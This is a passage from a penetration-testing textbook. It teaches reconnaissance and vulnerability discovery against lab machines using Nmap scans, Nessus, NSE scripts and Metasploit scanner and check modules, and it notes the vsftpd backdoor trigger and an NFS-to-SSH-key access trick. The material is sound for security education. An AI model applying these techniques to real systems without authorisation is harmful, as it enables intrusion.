In a SYN scan, Nmap sends the SYN and waits for the SYN-ACK if the
port is open but never sends the ACK to complete the connection. If the
SYN packet receives no SYN-ACK response, the port is not available; either
it’s closed or the connection is being filtered. This way, Nmap finds out if a
port is open without ever fully connecting to the target machine. The syntax for a SYN scan is the -sS flag.
Next, as you can see in Listing 5-6, we specify the IP address(s) or range
to scan. Finally, we use the -o option to output our Nmap results to a file. The
-oA option tells Nmap to log our results in all formats: .nmap, .gnmap (greppable Nmap), and XML. Nmap format, like the output that Nmap prints
to the screen in Listing 5-6, is nicely formatted and easy to read. Greppable
Nmap (as the name implies) is formatted to be used with the grep utility to
search for specific information. XML format is a standard used to import
Nmap results into other tools. Listing 5-6 shows the results of the SYN scan.
Note
It is always a good idea to take good notes of everything we do on our pentest.
Tools such as Dradis are designed specifically to track pentest data, but as long
as you have notes of everything you did when you get to the reporting phase,
you will be okay. I personally am more of a pen-and-paper user, or at best, a
Information Gathering 125
creating-a-long-Word-document-with-all-of-my-results type. The methods used for tracking results vary from pentester to pentester. Outputting your Nmap results to files is a
good way to make sure you have a record of your scan. Also, you can use the Linux
command script to record everything printed to your terminal—another good way to
keep track of everything you have done.
[email protected]:~# nmap -sS 192.168.20.10-12 -oA booknmap
Starting Nmap 6.40 ( http://nmap.org ) at 2015-12-18 07:28 EST
Nmap scan report for 192.168.20.10
Host is up (0.00056s latency).
Not shown: 991 closed ports
PORT
STATE SERVICE
21/tcp
open ftp v
25/tcp
open smtp y
80/tcp
open http w
106/tcp open pop3pw y
110/tcp open pop3 y
135/tcp open msrpc
139/tcp open netbios-ssn x
443/tcp open https w
445/tcp open microsoft-ds x
1025/tcp open NFS-or-IIS
3306/tcp open mysql z
5000/tcp open upnp
MAC Address: 00:0C:29:A5:C1:24 (VMware)
Nmap scan report for 192.168.20.11
Host is up (0.00031s latency).
Not shown: 993 closed ports
PORT
STATE SERVICE
21/tcp
open ftp v
22/tcp
open ssh
80/tcp
open http w
111/tcp open rpcbind
139/tcp open netbios-ssn x
445/tcp open microsoft-ds x
2049/tcp open nfs
MAC Address: 00:0C:29:FD:0E:40 (VMware)
Nmap scan report for 192.168.20.12
Host is up (0.0014s latency).
Not shown: 999 filtered ports
PORT
STATE SERVICE
80/tcp
open http u
135/tcp open msrpc
MAC Address: 00:0C:29:62:D5:C8 (VMware)
Nmap done: 3 IP addresses (3 hosts up) scanned in 1070.40 seconds
Listing 5-6: Running an Nmap SYN scan
126 Chapter 5
As you can see, Nmap returns a handful of ports on the Windows XP
and Linux boxes. We will see as we move through the next few chapters that
nearly all of these ports contain vulnerabilities. Hopefully, that won’t be the
case on your pentests, but in an attempt to introduce you to many types of
vulnerabilities you will encounter in the field, our pentesting lab has been
condensed into these three machines.
That said, just because a port is open does not mean that vulnerabilities
are present. Rather it leaves us with the possibility that vulnerable software
might be running on these ports. Our Windows 7 machine is listening only
on port 80 u, the traditional port for HTTP web servers, and port 139
for remote procedure call. There may be exploitable software listening
on ports that are not allowed through the Windows firewall, and there
may be vulnerable software running locally on the machine, but at the
moment we can’t attempt to exploit anything directly over the network
except the web server.
This basic Nmap scan has already helped us focus our pentesting efforts.
Both the Windows XP and Linux targets are running FTP servers v, web
servers w, and SMB servers x. The Windows XP machine is also running a
mail server that has opened several ports y and a MySQL server z.
A Version Scan
Our SYN scan was stealthy, but it didn’t tell us much about the software that
is actually running on the listening ports. Compared to the detailed version
information we got by connecting to port 25 with Netcat, the SYN scan’s
results are a bit lackluster. We can use a full TCP scan (nmap -sT) or go a
step further and use Nmap’s version scan (nmap -sV) to get more data. With
the version scan shown in Listing 5-7, Nmap completes the connection and
then attempts to determine what software is running and, if possible, the
version, using techniques such as banner grabbing.
[email protected]:~# nmap -sV 192.168.20.10-12 -oA bookversionnmap
Starting Nmap 6.40 ( http://nmap.org ) at 2015-12-18 08:29 EST
Nmap scan report for 192.168.20.10
Host is up (0.00046s latency).
Not shown: 991 closed ports
PORT
STATE SERVICE
VERSION
21/tcp
open ftp
FileZilla ftpd 0.9.32 beta
25/tcp
open smtp
SLmail smtpd 5.5.0.4433
79/tcp
open finger
SLMail fingerd
80/tcp
open http
Apache httpd 2.2.12 ((Win32) DAV/2 mod_ssl/2.2.12 OpenSSL/0.9.8k
mod_autoindex_color PHP/5.3.0 mod_perl/2.0.4 Perl/v5.10.0)
106/tcp open pop3pw
SLMail pop3pw
110/tcp open pop3
BVRP Software SLMAIL pop3d
135/tcp open msrpc
Microsoft Windows RPC
139/tcp open netbios-ssn
443/tcp open ssl/http
Apache httpd 2.2.12 ((Win32) DAV/2 mod_ssl/2.2.12 OpenSSL/0.9.8k
mod_autoindex_color PHP/5.3.0 mod_perl/2.0.4 Perl/v5.10.0)
445/tcp open microsoft-ds Microsoft Windows XP microsoft-ds
1025/tcp open msrpc
Microsoft Windows RPC
Information Gathering 127
3306/tcp open mysql
MySQL (unauthorized)
5000/tcp open upnp
Microsoft Windows UPnP
MAC Address: 00:0C:29:A5:C1:24 (Vmware)
Service Info: Host: georgia.com; OS: Windows; CPE: cpe:/o:microsoft:windows
Nmap scan report for 192.168.20.11
Host is up (0.00065s latency).
Not shown: 993 closed ports
PORT
STATE SERVICE
21/tcp
open ftp
22/tcp
open ssh
80/tcp
open http
VERSION
vsftpd 2.3.4 u
OpenSSH 5.1p1 Debian 3ubuntu1 (protocol 2.0)
Apache httpd 2.2.9 ((Ubuntu) PHP/5.2.6-2ubuntu4.6 with
Suhosin-Patch)
111/tcp open rpcbind (rpcbind V2) 2 (rpc #100000)
139/tcp open netbios-ssn
Samba smbd 3.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn
Samba smbd 3.X (workgroup: WORKGROUP)
2049/tcp open nfs (nfs V2-4)
2-4 (rpc #100003)
MAC Address: 00:0C:29:FD:0E:40 (VMware)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:kernel
Nmap scan report for 192.168.20.12
Host is up (0.0010s latency).
Not shown: 999 filtered ports
PORT
STATE SERVICE
VERSION
80/tcp
open http
Microsoft IIS httpd 7.5
135/tcp open msrpc
Microsoft Windows RPC
MAC Address: 00:0C:29:62:D5:C8 (VMware)
Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 3 IP addresses (3 hosts up) scanned in 20.56 seconds
Listing 5-7: Running an Nmap version scan
This time we gained much more information about our Windows XP
and Linux targets. For example, we knew there was an FTP server on the
Linux box, but now we have reasonable assurance that the FTP server is Very
Secure FTP version 2.3.4 u. We’ll use this output to search for potential vulnerabilities in the next chapter. As for our Windows 7 system, we found out
only that it’s running Microsoft IIS 7.5, a fairly up-to-date version. It’s possible
to install IIS 8 on Windows 7, but it’s not officially supported. The version
itself would not raise any red flags to me. We will find that the application
installed on this IIS server is the real issue in Chapter 14.
Note
Keep in mind that Nmap may report the wrong version in some cases (for instance,
if the software has been updated, but the welcome banner is not edited as part of the
patch), but at the very least, its version scan gave us a good place to begin further
research.
UDP Scans
Both Nmap’s SYN and version scans are TCP scans that do not query UDP
ports. Because UDP is connectionless, the scanning logic is a bit different.
128 Chapter 5
In a UDP scan (-sU), Nmap sends a UDP packet to a port. Depending on
the port, the packet sent is protocol specific. If it receives a response, the
port is considered open. If the port is closed, Nmap will receive an ICMP
Port Unreachable message. If Nmap receives no response whatsoever, then
either the port is open and the program listening does not respond to
Nmap’s query, or the traffic is being filtered. Thus, Nmap is not always able
to distinguish between an open UDP port and one that is filtered by a firewall. See Listing 5-8 for a UDP scan example.
[email protected]:~# nmap -sU 192.168.20.10-12 -oA bookudp
Starting Nmap 6.40 ( http://nmap.org ) at 2015-12-18 08:39 EST
Stats: 0:11:43 elapsed; 0 hosts completed (3 up), 3 undergoing UDP Scan
UDP Scan Timing: About 89.42% done; ETC: 08:52 (0:01:23 remaining)
Nmap scan report for 192.168.20.10
Host is up (0.00027s latency).
Not shown: 990 closed ports
PORT
STATE
SERVICE
69/udp
open|filtered tftp u
123/udp open
ntp
135/udp open
msrpc
137/udp open
netbios-ns
138/udp open|filtered netbios-dgm
445/udp open|filtered microsoft-ds
500/udp open|filtered isakmp
1026/udp open
win-rpc
1065/udp open|filtered syscomlan
1900/udp open|filtered upnp
MAC Address: 00:0C:29:A5:C1:24 (VMware)
Nmap scan report for 192.168.20.11
Host is up (0.00031s latency).
Not shown: 994 closed ports
PORT
STATE
SERVICE
68/udp
open|filtered dhcpc
111/udp open
rpcbind
137/udp open
netbios-ns
138/udp open|filtered netbios-dgm
2049/udp open
nfs v
5353/udp open
zeroconf
MAC Address: 00:0C:29:FD:0E:40 (VMware)
Nmap scan report for 192.168.20.12
Host is up (0.072s latency).
Not shown: 999 open|filtered ports
PORT
STATE
SERVICE
137/udp open
netbios-ns
MAC Address: 00:0C:29:62:D5:C8 (VMware)
Nmap done: 3 IP addresses (3 hosts up) scanned in 1073.86 seconds
Listing 5-8: Running a UDP scan
Information Gathering 129
For example, on the Windows XP system, the TFTP port (UDP 69) may
be open or filtered u. On the Linux target, Nmap was able to glean that
the Network File System port is listening v. Because only two TCP ports
responded on the Windows 7 box, it’s fair to assume that a firewall is in
place, in this case the built-in Windows firewall. Likewise, the Windows firewall is filtering all traffic except to one UDP port. (If the Windows firewall
were not in place, our UDP scan might give us more information.)
Scanning a Specific Port
By default, Nmap scans only the 1,000 ports it considers the most “interesting,” not the 65,535 possible TCP or UDP ports. The default Nmap scan will
catch common running services, but in some cases it will miss a listening port
or two. To scan specific ports, use the -p flag with Nmap. For example, to
scan port 3232 on the Windows XP target, see Listing 5-9.
[email protected]:~# nmap -sS -p 3232 192.168.20.10
Starting Nmap 6.40 ( http://nmap.org ) at 2015-12-18 09:03 EST
Nmap scan report for 192.168.20.10
Host is up (0.00031s latency).
PORT
STATE SERVICE
3232/tcp open unknown
MAC Address: 00:0C:29:A5:C1:24 (VMware)
Listing 5-9: Running an Nmap scan on a specific port
Sure enough, when we tell Nmap to scan 3232, it returns open, which
shows that this port is worth checking out, in addition to the default Nmap
scanned ports. However, if we try to probe the port a bit more aggressively
with a version scan (see Listing 5-10), the service listening on the port
crashes, as shown in Figure 5-8.
Note
A good rule of thumb is to specify ports 1 through 65535 on your pentests, just to
make sure there’s nothing listening on those other “uninteresting” ports.
[email protected]:~# nmap -p 3232 -sV 192.168.20.10
Starting Nmap 6.40 ( http://nmap.org ) at 2015-04-28 10:19 EDT
Nmap scan report for 192.168.20.10
Host is up (0.00031s latency).
PORT
STATE SERVICE VERSION
3232/tcp open unknown
1 service unrecognized despite returning datau. If you know the service/
version, please submit the following fingerprint at http://www.insecure.org/
cgi-bin/servicefp-submit.cgi : v
SF-Port3232-TCP:V=6.25%I=7%D=4/28%Time=517D2FFC%P=i686-pc-linux-gnu%r(GetR
SF:equest,B8,"HTTP/1\.1\x20200\x20OK\r\nServer:\x20Zervit\x200\.4\r\nwX-Pow
130 Chapter 5
SF:ered-By:\x20Carbono\r\nConnection:\x20close\r\nAccept-Ranges:\x20bytes\
SF:r\nContent-Type:\x20text/html\r\nContent-Length:\x2036\r\n\r\n<html>\r\
SF:n<body>\r\nhi\r\n</body>\r\n</html>");
MAC Address: 00:0C:29:13:FA:E3 (VMware)
Listing 5-10: Running a version scan against a specific port
Figure 5-8: The Zervit server crashes when scanned by Nmap.
In the process of crashing the listening service, Nmap can’t figure out
what software is running as noted at u, but it does manage to get a fingerprint of the service. Based on the HTML tags in the fingerprint at v, this
service appears to be a web server. According to the Server: field, it is something called Zervit 0.4 w.
At this point, we have crashed the service, and we may never see it
again on our pentest, so any potential vulnerabilities may be a moot point.
Of course, in our lab we can just switch over to our Windows XP target and
restart the Zervit server.
Note
Though hopefully you won’t make any services crash on your pentests, there is always
a possibility that you will run into a particularly sensitive service that was not coded
to accept anything other than expected input, such that even seemingly benign traffic
like an Nmap scan causes it to crash. SCADA systems are particularly notorious for
this sort of behavior. You always want to explain this to your client. When working
with computers, there are no guarantees.
We’ll return to the Nmap tool in the next chapter when we use the
Nmap Scripting Engine (NSE) to learn detailed vulnerability information
about our target systems before beginning exploitation.
Information Gathering 131
Summary
In this chapter we’ve managed to cover a lot of ground very quickly just by
using publicly available sources and port scanners. We used tools such as
theHarvester and Maltego to scour the Internet for information such as
email addresses and websites. We used the Nmap port scanner to find out
which ports are listening on our target virtual machines. Based on the
output we’ve discovered, we can now do some research on known vulnerabilities as we start to think like attackers and actively seek exploitable vulnerabilities in the systems. In the next chapter, we’ll cover the vulnerability
analysis phase of penetration testing.
132 Chapter 5
6
Finding Vulner abilities
Before we start slinging exploits, we need to do some
more research and analysis. When identifying vulnerabilities, we actively search for issues that will lead to
compromise in the exploitation phase. Although some
security firms will just run an automated exploitation tool and hope for the
best, careful study of the vulnerabilities by a skilled pentester will garner
better results than any tool on its own.
We’ll examine several vulnerability analysis methods in this chapter,
including automated scanning, targeted analysis, and manual research.
From Nmap Version Scan to Potential Vulnerability
Now that we have some information about our target and the attack surface, we can develop scenarios to reach our pentest goals. For example, the
FTP server on port 21 announced itself as Vsftpd 2.3.4. Vsftpd is short for
Very Secure FTP.
We might assume that a product that calls itself very secure is asking for
trouble, and in fact, in July 2011, it came to light that the Vsftpd repository
had been breached. The Vsftpd binaries had been replaced with a backdoored version that could be triggered with a username containing a smiley
face :). This opens a root shell on port 6200. Once the issue was discovered,
the backdoored binaries were removed, and the official Vsftpd 2.3.4 was put
back in place. So, though the presence of Vsftpd 2.3.4 doesn’t guarantee that
our target is vulnerable, it is definitely a threat to consider. Pentesting doesn’t
get much easier than piggybacking on an attacker who already owns a system.
Nessus
Tenable Security’s Nessus is one of the most widely used commercial vulnerability scanners, though many vendors provide comparable products.
Nessus shares its name with a centaur who was slain by the Greek mythological hero, Heracles, and whose blood later killed Heracles himself. The
Nessus database includes vulnerabilities across platforms and protocols,
and its scanner performs a series of checks to detect known issues. You’ll
find entire books and training courses devoted to Nessus, and as you become
more familiar with the tool, you’ll find what works best for you. I’ll provide
only a high-level discussion of Nessus here.
Nessus is available as a paid professional version that pentesters and inhouse security teams can use to scan networks for vulnerabilities. You can
use the free, noncommercial version called Nessus Home to try the exercises in this book. Nessus Home is limited to scanning 16 IP addresses.
(Nessus isn’t preinstalled on Kali, but we covered installing it in Chapter 1.)
Before you can run Nessus you need to start the Nessus daemon. To do
so, enter the service command as shown here to start the Nessus web interface on TCP port 8834.
[email protected]:~# service nessusd start
Now open a web browser, and access Nessus by directing the Iceweasel
browser to https://kali:8834. (If you want to access the Nessus interface
from another system, such as the host, you must replace kali with the IP
address of the Kali machine.) After a few minutes of initialization, you
should see a login screen, shown in Figure 6-1. Use the login credentials
you created in Chapter 1.
Nessus Policies
The Nessus web interface has several tabs at the top of the screen, as shown
in Figure 6-2. Let’s start with the Policies tab. Nessus policies are like configuration files that tell Nessus which vulnerability checks, port scanners, and
so on to run in the vulnerability scan.
134 Chapter 6
Figure 6-1: The Nessus web interface login screen
Figure 6-2: Nessus policies
To create a policy, click New Policy at the left of the Nessus interface.
Nessus’s policy wizards will help you create a policy that will be useful
for your scanning goals, as shown in Figure 6-3. For our simple example,
choose Basic Network Scan.
Finding Vulnerabilities
135
Figure 6-3: Nessus policy wizards
Now you are prompted for some basic information about the policy, as
shown in Figure 6-4, including a name, a description, and whether other
Nessus users can access the policy. Once you are done, click Next.
Figure 6-4: Basic policy setup
Now you are asked if this is an internal or external scan, as shown in
Figure 6-5. Choose Internal and click Next.
136 Chapter 6
Figure 6-5: Internal or external scan
If you have credentials, Nessus can authenticate with hosts and look for
vulnerabilities that may not be apparent from a network-facing perspective.
This feature is often used by internal security teams to test the security
posture of their networks. You can set these credentials in the next step, as
shown in Figure 6-6. For now, you can leave this step blank and click Save.
Figure 6-6: Adding credentials (optional)
As shown in Figure 6-7, our new policy is now shown in the Policy tab.
Finding Vulnerabilities
137
Figure 6-7: Our policy is added.
Scanning with Nessus
Now, let’s switch to the Scans tab and run Nessus against our target
machines. Click ScansNew Scan, and fill in the scan information,
as shown in Figure 6-8. Nessus needs to know the name for our scan
(Name), which scan policy to use (Policy), and which systems to scan
(Targets).
Figure 6-8: Starting a Nessus scan
138 Chapter 6
Nessus runs a series of probes against the target in an attempt to detect
or rule out as many issues as possible. The running scan is added to the Scans
tab as shown in Figure 6-9.
Figure 6-9: Running a Nessus scan
Once the scan is finished, click it to view the results, as shown in
Figure 6-10.
Figure 6-10: High-level overview of the results
As shown in the figure, Nessus found several critical vulnerabilities on
the Windows XP and Ubuntu targets. But it found only informational data
on the Windows 7 box.
To see details of a specific host, click it. Details of the Windows XP
vulnerabilities are shown in Figure 6-11.
Finding Vulnerabilities
139
Figure 6-11: Nessus categorizes and describes its results.
Say what you want about vulnerability scanners, but it’s hard to find a
product that can tell you as much about a target environment as quickly
and with as little effort as Nessus. For example, Nessus’s results reveal that
our Windows XP target is in fact missing the MS08-067 patch discussed in
Chapter 4. It also seems to be missing other Microsoft patches affecting the
SMB server.
Which vulnerability is the most exploitable? The Nessus output for a
particular issue will often give you some information about that issue’s potential exploitability. For example, clicking the MS08-067 vulnerability in the
output (Figure 6-12) shows exploit code available for this vulnerability in
Metasploit as well as other tools such as Core Impact and Canvas.
Figure 6-12: The MS08-067 Nessus entry provides detailed information.
A Note About Nessus Rankings
Nessus ranks vulnerabilities based on the Common Vulnerability Scoring
System (CVSS), version 2, from the National Institute of Standards and
140 Chapter 6
Technology (NIST). Ranking is calculated based on the impact to the system if the issue is exploited. Though the higher the vulnerability ranking,
the more serious Nessus thinks the vulnerability issue is, the actual risk of
a vulnerability depends on the environment. For example, Nessus ranks
anonymous FTP access as a medium-risk vulnerability. When restricted to
nonsensitive files, however, anonymous FTP access can have a low to nonexistent risk. On the other hand, it isn’t unheard of for companies to leave
copies of their proprietary source code lying around on a publicly available
FTP server. If on an external pentesting engagement you can access the client’s biggest asset by logging in as anonymous on an FTP server, it’s safe to
assume that any interested attacker can do the same, and this warrants an
immediate call to your client contact. Tools are not capable of making this
sort of distinction. For that you need a pentester.
Why Use Vulnerability Scanners?
Though some penetration testing courses leave out vulnerability scanning
altogether and argue that a skilled pentester can find everything a scanner
can, scanners are still valuable tools, especially because many pentests are
performed within a shorter time window than anyone might like. But if one
of the goals of your assessment is to avoid detection, you might think twice
about using a loud vulnerability scanner.
Though Nessus did not find every issue in our environment, its use,
combined with the results of our information-gathering phase, has given
us a solid starting point for exploitation. Even those pentesters who think
that a pentester should replace a scanner during an engagement can benefit from knowing how to use scanning tools. Though in an ideal world,
every company would perform regular, no-holds-barred pentests, in reality,
there is plenty of vulnerability scanning work to go around.
Exporting Nessus Results
Once a Nessus scan finishes, you can export its findings from the Export
button at the top of the scan details screen, as shown in Figure 6-13.
Figure 6-13: Exporting Nessus scan results
Finding Vulnerabilities
141
Nessus can output results into PDF, HTML, XML, CSV, and other formats. You may want to hand off the raw results to your client for a vulnerability scanning engagement, but you should never export scanner results,
slap your company letterhead on them, and call them pentest results. Much
more analysis is involved in a penetration test than a vulnerability scan. You
should always verify results from automated scanners and combine them
with manual analysis to get a more complete picture of the vulnerabilities
in the environment.
Now for a look at some other methods of vulnerability analysis.
Researching Vulnerabilities
If the Nessus summary page doesn’t give you enough information about a
vulnerability, try a good old-fashioned Google search. Additionally, try
searching http://www.securityfocus.com/, http://www​.packetstormsecurity.org/,
http://www.exploit-db.org/, and http://www.cve.mitre​.org/. For ­example, you can
search for vulnerabilities using the Common Vulnerabilities and Exposures
(CVE) system, Microsoft patch number, and so on within a specific site using
a Google query such as “ms08-067 site:securityfocus.com”. The MS08-067 vulnerability received a lot of attention, so you’ll find no shortage of good information. (We looked at the details of this particular issue in Chapter 4.)
Depending on your subject vulnerability, you may be able to find proofof-concept exploit code online as well. We’ll look at working with public code
in Chapter 19, but be warned that unlike the community-vetted exploits in a
project such as Metasploit, not all code on the Internet does what it claims.
The payload in a public exploit may destroy the target machine, or it may
join your machine to the exploit author’s secret botnet. Be vigilant when
working with public exploits, and carefully vet them before running them
against a production network. (You may also be able to find in-depth information about some vulnerabilities posted by the researchers who originally
found the issue.)
The Nmap Scripting Engine
Now for another tool that provides vulnerability scanning. Just as Metasploit
evolved from an exploitation framework into a fully fledged penetrationtesting suite with hundreds of modules, Nmap has similarly evolved beyond
its original goal of port scanning. The Nmap Scripting Engine (NSE) lets
you run publicly available scripts and write your own.
You’ll find the scripts packaged with the NSE in Kali at /usr/share/nmap​
/scripts. The available scripts fall into several categories, including information gathering, active vulnerability assessment, searches for signs of previous compromises, and so on. Listing 6-1 shows NSE scripts available in your
default Kali installation.
[email protected]:~# cd /usr/share/nmap/scripts
[email protected]:/usr/local/share/nmap/scripts# ls
acarsd-info.nse
ip-geolocation-geobytes.nse
142 Chapter 6
address-info.nse
afp-brute.nse
afp-ls.nse
--snip--
ip-geolocation-geoplugin.nse
ip-geolocation-ipinfodb.nse
ip-geolocation-maxmind.nse
Listing 6-1: Nmap scripts list
To get more information about a particular script or category of scripts,
enter the --script-help flag in Nmap. For example, to see all scripts in the
default category enter nmap --script-help default, as shown in Listing 6-2.
Many factors contribute to whether a script is included in the default cate­
gory, including its reliability and whether the script is safe and unlikely to
harm the target.
[email protected]:~# nmap --script-help default
Starting Nmap 6.40 ( http://nmap.org ) at 2015-07-16 14:43 EDT
--snip-ftp-anon
Categories: default auth safe
http://nmap.org/nsedoc/scripts/ftp-anon.html
Checks if an FTP server allows anonymous logins.
If anonymous is allowed, gets a directory listing of the root directory and
highlights writeable files.
--snip-Listing 6-2: Nmap default scripts help
If you use the -sC flag to tell Nmap to run a script scan in addition to
port scanning, it will run all the scripts in the default category, as shown in
Listing 6-3.
[email protected]:~# nmap -sC 192.168.20.10-12
Starting Nmap 6.40 ( http://nmap.org ) at 2015-12-30 20:21 EST
Nmap scan report for 192.168.20.10
Host is up (0.00038s latency).
Not shown: 988 closed ports
PORT
STATE SERVICE
21/tcp
open ftp
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| drwxr-xr-x 1 ftp ftp
0 Aug 06 2009 incoming
|_-r--r--r-- 1 ftp ftp
187 Aug 06 2009 onefile.html
|_ftp-bounce: bounce working!
25/tcp
open smtp
| smtp-commands: georgia.com, SIZE 100000000, SEND, SOML, SAML, HELP, VRFYu, EXPN, ETRN, XTRN,
|_ This server supports the following commands. HELO MAIL RCPT DATA RSET SEND SOML SAML HELP
NOOP QUIT
79/tcp
open finger
|_finger: Finger online user list request denied.
80/tcp
open http
|_http-methods: No Allow or Public header in OPTIONS response (status code 302)
Finding Vulnerabilities
143
| http-title:
XAMPP
1.7.2 v
|_Requested resource was http://192.168.20.10/xampp/splash.php
--snip-3306/tcp open mysql
| mysql-info: MySQL Error detected!
| Error Code was: 1130
|_Host '192.168.20.9' is not allowed to connect to this MySQL server w
--snip-Listing 6-3: Nmap default scripts output
As you can see, the Nmap Scripting Engine found a good deal of interesting information. For example, we see that the SMTP server on port 25
of the Windows XP target allows the use of the VRFY u command, which
allows us to see if a username exists on the mail server. If we have a valid
username, use of this command will make credential-guessing attacks much
more likely to succeed.
We can also see that the web server on port 80 appears to be an XAMPP
1.7.2 install v. As of this writing, the current stable version of XAMPP for
Windows is 1.8.3. At the very least, the version we found is out of date, and
it may also be subject to security issues.
In addition to showing us potential vulnerabilities, NSE also allows us
to rule out some services. For example, we can see that the MySQL server
on port 3306 does not allow us to connect because our IP address is not
authorized w. We may want to return to this port during post exploitation
if we are able to compromise other hosts in the environment, but for now
we can rule out MySQL vulnerabilities on this host.
Running a Single NSE Script
Before we move on, let’s look at another example of using an NSE script, this
time one that is not part of the default set. From our basic use of Nmap in
the previous chapter, we know that our Linux target is running Network File
System (NFS). NFS allows client computers to access local files over the network, but in your pentesting career, you may find that setting up NFS securely
is easier said than done. Many users don’t think about the security consequences of giving remote users access to their files. What’s the worst that can
happen, right? Who cares if I share my home directory with my coworkers?
The NSE script nfs-ls.nse will connect to NFS and audit shares. We can
see more information about an individual script with the --script-help command, as shown in Listing 6-4.
[email protected]:~# nmap --script-help nfs-ls
Starting Nmap 6.40 ( http://nmap.org ) at 2015-07-16 14:49 EDT
nfs-ls
Categories: discovery safe
144 Chapter 6
http://nmap.org/nsedoc/scripts/nfs-ls.html
Attempts to get useful information about files from NFS exports.
The output is intended to resemble the output of <code>ls</code>.
--snip-Listing 6-4: Nmap NFS-LS script details
This script mounts the remote shares, audits their permissions, and
lists the files included in the share. To run a script against our Linux target, we call it using the --script option and the script name, as shown in
Listing 6-5.
[email protected]:/# nmap --script=nfs-ls 192.168.20.11
Starting Nmap 6.40 ( http://nmap.org ) at 2015-12-28 22:02 EST
Nmap scan report for 192.168.20.11
Host is up (0.00040s latency).
Not shown: 993 closed ports
PORT
STATE SERVICE
VERSION
21/tcp open ftp
vsftpd 2.3.4
22/tcp open ssh
OpenSSH 5.1p1 Debian 3ubuntu1 (Ubuntu Linux; protocol 2.0)
80/tcp open http
Apache httpd 2.2.9 ((Ubuntu) PHP/5.2.6-2ubuntu4.6 with Suhosin-Patch)
111/tcp open rpcbind
2 (RPC #100000)
| nfs-ls:
| Arguments:
|
maxfiles: 10 (file listing output limited)
|
| NFS Export: /export/georgiau
| NFS Access: Read Lookup Modify Extend Delete NoExecute
|
PERMISSION UID GID SIZE MODIFICATION TIME FILENAME
|
drwxr-xr-x 1000 1000 4096 2013-12-28 23:35 /export/georgia
|
-rw------- 1000 1000 117 2013-12-26 03:41 .Xauthority
|
-rw------- 1000 1000 3645 2013-12-28 21:54 .bash_history
|
drwxr-xr-x 1000 1000 4096 2013-10-27 03:11 .cache
|
-rw------- 1000 1000 16
2013-10-27 03:11 .esd_auth
|
drwx------ 1000 1000 4096 2013-10-27 03:11 .gnupg
|
?????????? ?
?
?
?
.gvfs
|
-rw------- 1000 1000 864 2013-12-15 19:03 .recently-used.xbel
|
drwx------ 1000 1000 4096 2013-12-15 23:38 .sshv
--snip-Listing 6-5: Nmap NFS-LS scripts output
As you can see, the NSE script found the NFS share /export/georgia u on
our Linux target. Of particular interest is the .ssh directory v, which may
include sensitive information such as SSH keys and (if public key authentication is allowed on the SSH server) a list of authorized keys.
When you run into an access-control mistake like this, one common pen­
test trick is to use the mistake and the write permission to add a new SSH
Finding Vulnerabilities
145
key to the authorized_keys list (in this case, ours). If that attempt succeeds,
suddenly the seemingly minor issue of being able to edit a user’s documents
turns into the ability to log in to the remote system and execute commands.
Before we move on, let’s ensure that public key SSH authentication is
enabled on our Linux target, allowing the attack we envisioned above to
work successfully. Key-based login is considered the strongest form of SSH
authentication and is recommended for security. A quick SSH attempt to
our Linux target shows that public key authentication is allowed here u
(see Listing 6-6).
[email protected]:/# ssh 192.168.20.11
The authenticity of host '192.168.20.11 (192.168.20.11)' can't be established.
RSA key fingerprint is ab:d7:b0:df:21:ab:5c:24:8b:92:fe:b2:4f:ef:9c:21.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.20.11' (RSA) to the list of known hosts.
[email protected]'s password:
Permission denied (publickeyu,password).
Listing 6-6: SSH authentication methods
Note
Some NSE scripts may crash services or harm the target system, and an entire category
is dedicated to denial of service. For example, the script smb-check-vulns will check
for the MS08-067 vulnerability and other SMB vulnerabilities. Its help information
notes that this script is likely dangerous and shouldn’t be run on production systems
unless you are prepared for the server to go down.
Metasploit Scanner Modules
Metasploit, which we used in Chapter 4, also can conduct vulnerability
scanning via numerous auxiliary modules. Unlike exploits, these modules
will not give us control of the target machine, but they will help us identify
vulnerabilities for later exploitation.
One such Metasploit module looks for FTP services that provide anonymous access. Although it may be easy enough to attempt to log in manually
to individual FTP servers, Metasploit auxiliary modules let us scan many
hosts at once, which will save time when you’re testing a large environment.
To choose a particular module, we use the module, then we define
our targets with set, and then scan with the exploit command, as shown
in Listing 6-7. This syntax should be familiar from Chapter 4.
msf > use scanner/ftp/anonymous
msf auxiliary(anonymous) > set RHOSTS 192.168.20.10-11
RHOSTS => 192.168.20.10-11
msf auxiliary(anonymous) > exploit
[*] 192.168.20.10:21 Anonymous READ (220-FileZilla Server version 0.9.32 beta
220-written by Tim Kosse ([email protected]) u
220 Please visit http://sourceforge.net/projects/filezilla/)
146 Chapter 6
[*]
[*]
[*]
[*]
msf
Scanned 1 of 2 hosts (050%
192.168.20.11:21 Anonymous
Scanned 2 of 2 hosts (100%
Auxiliary module execution
auxiliary(anonymous) >
complete)
READ (220 (vsFTPd 2.3.4)) u
complete)
completed
Listing 6-7: Metasploit anonymous FTP scanner module
At u, we find that both the Windows XP and Linux targets have anonymous FTP enabled. We know this may or may not be a serious issue, based
on the files that are available to the anonymous user in the FTP folder.
I’ve been on engagements where company trade secrets were sitting on an
Internet-facing FTP server. On the other hand, I’ve also been on engagements where the use of anonymous FTP was justified from a business perspective, and no sensitive files were present. It is up to a pentester to fill in
the information an automated scanner lacks as to the severity of an issue in
a particular environment.
Metasploit Exploit Check Functions
Some Metasploit exploits include a check function that connects to a target
to see if it is vulnerable, rather than attempting to exploit a vulnerability.
We can use this command as a kind of ad hoc vulnerability scan, as shown
in Listing 6-8. (There’s no need to specify a payload when running check
because no exploitation will take place.)
msf > use windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set RHOST 192.168.20.10
RHOST => 192.168.20.10
msf exploit(ms08_067_netapi) > checku
[*] Verifying vulnerable status... (path: 0x0000005a)
[+] The target is vulnerable.v
msf exploit(ms08_067_netapi) >
Listing 6-8: MS08-067 check function
When we run the vulnerability check u, Metasploit tells us that our
Windows XP target is vulnerable to the MS08-067 vulnerability v, as
expected.
Unfortunately, not all Metasploit modules have check functions. (If you
try running check on a module that doesn’t support it, Metasploit will tell
you.) For example, based on the results of our Nmap version scan in the
previous chapter, the Windows XP target mail server appears to be out of
date and subject to security issues. SLMail version 5.5.0.4433 has a known
exploitable issue—CVE-2003-0264—so we can find it easily with a quick
search in Msfconsole for cve:2003-0264.
